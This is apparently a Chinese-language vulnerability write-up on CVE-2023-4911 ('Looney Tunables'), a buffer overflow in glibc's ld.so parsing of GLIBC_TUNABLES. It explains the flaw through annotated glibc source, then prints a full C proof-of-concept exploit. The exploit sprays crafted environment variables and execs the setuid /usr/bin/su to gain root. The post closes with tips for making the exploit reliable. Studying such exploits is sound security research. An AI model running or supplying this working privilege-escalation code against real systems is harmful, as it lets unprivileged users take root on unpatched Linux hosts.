此前一直只在用户态利用的角度下看 glibc,实际上 ld.so 也存在提权的可能 —— 借助有 suid 程序,如 su。

Environment

libcGLIBC 2.35-0ubuntu3.3
debugOSNixOS 23.11
victimOSubuntu 22.04

Analysis

这不是第一个由环境变量导致的提权漏洞,同样是该漏洞的发现团队 qualys 早在 2021 年就利用 pkexec 的溢出漏洞与环境变量的覆写实现了本地提权(CVE-2021-4034)。

回到这个漏洞,glibc-2.34 在 2021 年的四月引入了由环境变量 GLIBC_TUNABLES 控制的可变参数,并在处理函数 parse_tunables 中出现了溢出漏洞,调试时函数调用栈为:

_start (sysdeps/i386/dl-machine.h)
    -> _dl_start (elf/rtld.c)
        -> _dl_start_final
            -> _dl_sysdep_start
                -> __GI___tunables_init
                    -> __GI___tunables_init + 0x22b

先考虑正常形如 GLIBC_TUNABLES=tunable1=easxuelian:tunable2=nana7mi 的环境变量,以等号形成键值对并以冒号分割,会先由 _dl_start 读到栈上并在 __tunables_init 函数中被 get_next_env 取出判断,若满足条件则进入到 parse_tunables 函数中做进一步处理:

269 void
270 __tunables_init (char **envp)
271 {
272   char *envname = NULL;
273   char *envval = NULL;
274   size_t len = 0;
275   char **prev_envp = envp;
...
279   while ((envp = get_next_env (envp, &envname, &len, &envval,
280                                &prev_envp)) != NULL)
281     {
282       if (tunable_is_name ("GLIBC_TUNABLES", envname))
283         {
284           char *new_env = tunables_strdup (envname);
285           if (new_env != NULL)
286             parse_tunables (new_env + len + 1, envval);
287           /* Put in the updated envval.  */
288           *prev_envp = new_env;
289           continue;
290         }

其中 tunables_strdup 调用了 __minimal_malloc 来申请一块大小为 envname + 1 的空间存放新的环境变量,envval 则仍然指向栈上的环境变量,作为参数进入 parse_tunables 函数:

162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196
197       p += len + 1;
198
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225
226                       const char *n = cur->name;
227
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230
231                       tunestr[off++] = '=';
232
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

这个函数中用一个 while(true) 循环来处理 GLIBC_TUNABLES 的值,其中又有一个 for 循环来判断当前 tunable 的合法性,若检查通过则会向 __minimal_malloc 得到的 tunestr 空间进行赋值,但是这里没有考虑诸如 tunable1=tunable2=AAA 的情况,此时:

  • 第一轮循环中,L226-229 用匹配到的变量名填入 tunestr,L231-234 将变量值继续填入 tunestr,由 strdup 得到的空间正好已经被填满了;

  • 但是此时 p[len] 正等于 ‘\0’,即指向变量的末尾而非 ’:‘,即 p 不会进入递增,现在 p 指向 tunable2=AAA,若这也是一个合法的 tunables 环境变量,它就会继续被接到 tunestr 后,形成可控的任意长度溢出;

在调试漏洞的时候,可以关注:

  • __minimal_malloc 的相关变量:
    • alloc_last_block:上一块分配的区域;
    • alloc_ptr:下次分配的起始地址;

Exploitation

这个利用也是很有趣的,提权的关键就是溢出覆写 l_info[DT_RUNPATH](29)或者 l_info[DT_RPATH](15)的值使其最终指向预先布置好的地址,进而通过动态链接的 elf 调库偏移利用内存中已有的字符找到在当前目录下构造的恶意路径内含有 shellcode 的 libc,关闭 aslr 进行调试得到如下提权 poc:

// Exploitation by @eastXueLian
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/resource.h>
#include <sys/wait.h>
 
#define COLOR_RED "\033[31m"
#define COLOR_GREEN "\033[32m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_BLUE "\033[34m"
#define COLOR_MAGENTA "\033[35m"
#define COLOR_CYAN "\033[36m"
#define COLOR_RESET "\033[0m"
#define log(X)                                                                 \
  printf(COLOR_BLUE "[*] %s --> 0x%lx " COLOR_RESET "\n", (#X), (X))
#define success(X) printf(COLOR_GREEN "[+] %s" COLOR_RESET "\n", (X))
#define info(X) printf(COLOR_MAGENTA "[*] %s" COLOR_RESET "\n", (X))
#define errExit(X)                                                             \
  printf(COLOR_RED "[-] %s \033[0m\n", (X));                                   \
  exit(0)
 
#define SUID_VICTIM "/usr/bin/su"
#define GLIBC_TUNABLES "GLIBC_TUNABLES="
#define TUNABLE "glibc.malloc.mmap_max"
#define TRIGGER GLIBC_TUNABLES TUNABLE "=" TUNABLE "="
#define TRY_HIT "\xc0\xee\xff\xff\xff\x7f"
 
#define ENVP_SIZE 0x1000
#define FILL_SIZE 0xc00
#define OVERFLOW_SIZE 0x600
#define SPARY_SIZE 0x1000
 
int main() {
 
    char *argv[] = { SUID_VICTIM, NULL };
    char *envp[ENVP_SIZE] = { NULL };
 
    info("constructing placeholder");
    char placeholder[FILL_SIZE] = { 0 };
    strcpy(placeholder, GLIBC_TUNABLES TUNABLE "=");
    for (int i = strlen(placeholder); i < sizeof(placeholder) - 1; i++) {
        strcat(placeholder, "a");
    }
 
    info("constructing overflow");
    char payload[OVERFLOW_SIZE] = { 0 };
    strcpy(payload, TRIGGER);
    for (int i = strlen(payload); i < sizeof(payload) - 1; i++) {
        strcat(payload, "b");
    }
 
    info("constructing the second filler (so that it won't raise error in tunables_init)");
    char placeholder2[OVERFLOW_SIZE + 0x20] = { 0 };
    strcpy(placeholder2, GLIBC_TUNABLES TUNABLE "=");
    for (int i = strlen(placeholder2); i < sizeof(placeholder2) - 1; i++) {
        strcat(placeholder2, "c");
    }
 
    info("sparying offset");
    char evil_offset[SPARY_SIZE] = { 0 };
    for (int i = 0; i < sizeof(evil_offset) - 8; i+=8) {
        *(size_t *)(evil_offset + i) = -0x30;
    }
 
    info("initializing envp");
    for (int i = 0; i < ENVP_SIZE - 1; i++) {
        envp[i] = ""; // take place with \x00
    }
 
    envp[0] = placeholder;
    envp[1] = payload;
    envp[0x800] = placeholder2;
 
    // &l_info[29] 0x7ffff7fbbd68
    envp[0x190-1] = TRY_HIT;
 
    for (int i = 0; i < 0x20; i++) {
        envp[0xf80 + i] = (char *)evil_offset;
    }
    envp[0xff2] = "aaaa"; // paddings so that offset would be aligned
 
    success("envp done");
 
    log(envp);
    // getchar();
    info("execve");
    if (execve(argv[0], argv, envp) < 0) {
        perror("execve");
    }
 
    return 0;
}

为了能稳定利用,增大 SPARY_SIZE 到 0x20000 即可($ARG_MAX),在比赛中已经有了提权成功的情况,平均 1000 次以内就能成功,还是非常稳定迅速的。


References

[1] Looney Tunables: Local Privilege Escalation in the glibc’s ld.so . Qualys

[2] CVE-2023-4911 - Looney Tunables . RickdeJager

[3] PoC of CVE-2023-4911 “Looney Tunables” . leesh3288